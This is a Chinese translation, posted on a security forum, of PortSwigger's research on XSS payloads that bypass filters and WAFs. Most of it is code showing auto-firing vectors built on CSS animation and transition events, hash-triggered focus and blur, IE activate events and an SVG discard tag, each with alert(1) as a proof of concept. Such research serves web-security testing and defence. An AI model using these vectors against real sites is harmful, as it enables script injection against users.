One XSS cheatsheet to rule them all

惊鸿一瞥最是珍贵 / 2019-10-02 09:50:54 / 浏览数 5573 安全技术 WEB安全 顶(0) 踩(0)

■■■■■https://portswigger.net/research/one-xss-cheatsheet-to-rule-them-all

PortSwigger再一次推出XSS cheatsheet。
PortSwigger要做的事情是建立一个非常综合的数据库，通过绕过HTML过滤器和WAF来实现XSS，并且让所有的读者可以从中受益。每个XSS向量都包含PoC，以及可以在
为了确保这个数据库的作用，我结合自动模糊测试与手动探针这两种方式来构造XSS payload。因此产生了很多非常新颖的XSS
payload，对于绕过WAF和过滤器方面特别有效-下面就让我一一为大家介绍
首先，你可能对Mario Heiderich使用CSS animations自动执行任何标签的技术略有耳闻:

```
<style>@keyframes x{}</style>
<b style="animation-name:x" onanimationstart="alert(1)"></b>
```

使用ontransitionend事件也可以同样的事情，但要结合 :target选择器一起使用。:target选择器允许你使用URL的哈希值作为CSS
id的目标。我使用CSS转换，因为：target选择器在设置转换后更改CSS，所以任何标签都会触发事件。必须指定"x"的哈希，以便：target选择器更改元素的颜色。

```
<style>
:target {
   color:red;
}
/*page.html#x*/
</style>
<x id=x style="transition:color 1s" ontransitionend=alert(1)>
```

ontransitionend事件可以在Chrome中工作，并且Firefox支持更多可以自动执行的事件。事件ontransitionrun在Firefox上的任何标签上都可以触发，（可以像上面方式一
可以使用iframe或新窗口来修改网址的哈希值。浏览器SOP(同源策略)会阻止访问跨域URL，但是可以修改跨域的位置，因此可以发送带有哈希的相同URL来触发事件。

```
<style>
:target {
  transform: rotate(180deg);
}
</style>
<x id=x style="transition transform 10s" ontransitioncancel=alert(1)>
URL: page.html#
URL: page.html#x
URL: page.html#
```

我开始考虑跟哈希有关的XSS。我发现当URL中的哈希与相应的id属性一起使用时，某些元素会触发focus事件。这意味着像input这样的表单元素不再需要autofocus属性来

```
<input onfocus=alert(1) id=x>
someurl.php#x
```

其他元素也可以使用相同的技巧：

```
<img usemap=#x><map name="x"><area href onfocus=alert(1) id=x>
<iframe id=x onfocus=alert(1)>
<embed id=x onfocus=alert(1) type=text/html>
<object id=x onfocus=alert(1) type=text/html>
someurl.php#x
```

因为focus事件在没有使用支持autofocus的元素的情况下触发，所以我们可以在另一个元素上使用autofocus，以在每个支持focus技巧的元素上引起blur事件。

```
<iframe id=x onblur=alert(1)></iframe><input autofocus>
<input onblur=alert(1) id=x><input autofocus>
<textarea onblur=alert(1) id=x></textarea><input autofocus>
<button onblur=alert(1) id=x></button><input autofocus>
<select onblur=alert(1) id=x></select><input autofocus>
someurl.php#x
```

然后我开始使用这个技巧查看没有触发focus事件的标签。还能不能让它们执行？我第一时间想到了锚标签，如果给它一个href属性，它会触发focus事件，如果给它一个tab

```
<a onfocus=alert(1) id=x href>
<xss onfocus=alert(1) id=x tabindex=1>
<xss onblur=alert(1) id=x tabindex=1><input autofocus>
someurl.php#x
```

上面的技巧对于链接元素不起作用，但是，添加带有display：block的样式将强制显示元素，并将触发focus事件。这在主体上起作用，但对于头部不起作用。如果link元素中

```
<link onfocus=alert(1) id=x tabindex=1 style=display:block>
someurl.php#x
```

还有很多基于focus的事件。例如，onfocusin类似于onfocus，onfocusout类似于onblur，这些事件也适用于自定义标签。

```
<a onactivate=alert(1) id=x tabindex=1>
<div onactivate=alert(1) id=x tabindex=1>
<xss onactivate=alert(1) id=x tabindex=1>
<a onbeforeactivate=alert(1) id=x tabindex=1>
someurl.php#x
```

IE在激活元素时也会触发一些事件；onactivate可以像onfocus一样使用，并可以与自定义标签一起使用，onbeforeactivate在激活元素之前触发。

```
<a onactivate=alert(1) id=x tabindex=1>
<div onactivate=alert(1) id=x tabindex=1>
<xss onactivate=alert(1) id=x tabindex=1>
<a onbeforeactivate=alert(1) id=x tabindex=1>
someurl.php#x
```

IE也有ondeactivate和onbeforedeactivate事件，为了自动执行这些事件，你需要修改两遍哈希值，因为当第一个元素成为焦点时，autofocus不会在IE中工作。

```
<a ondeactivate=alert(1) id=x tabindex=1></a><input id=y autofocus>
<xss ondeactivate=alert(1) id=x tabindex=1></xss><input id=y autofocus>
<a onbeforedeactivate=alert(1) id=x tabindex=1></a><input id=y autofocus>
someurl.php#x
someurl.php#y
```

最后，下面是一个在SVG中使用的Chrome payload：

```
<svg><discard onbegin=alert(1)>
```

数据库中还有很多XSS payload等你来探索！

上一篇：某info 6.2.0正则匹配不严... 下一篇：建立加密socks5转发的两种方法

1. 0 条回复
   - 动动手指，沙发就是你的了！

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板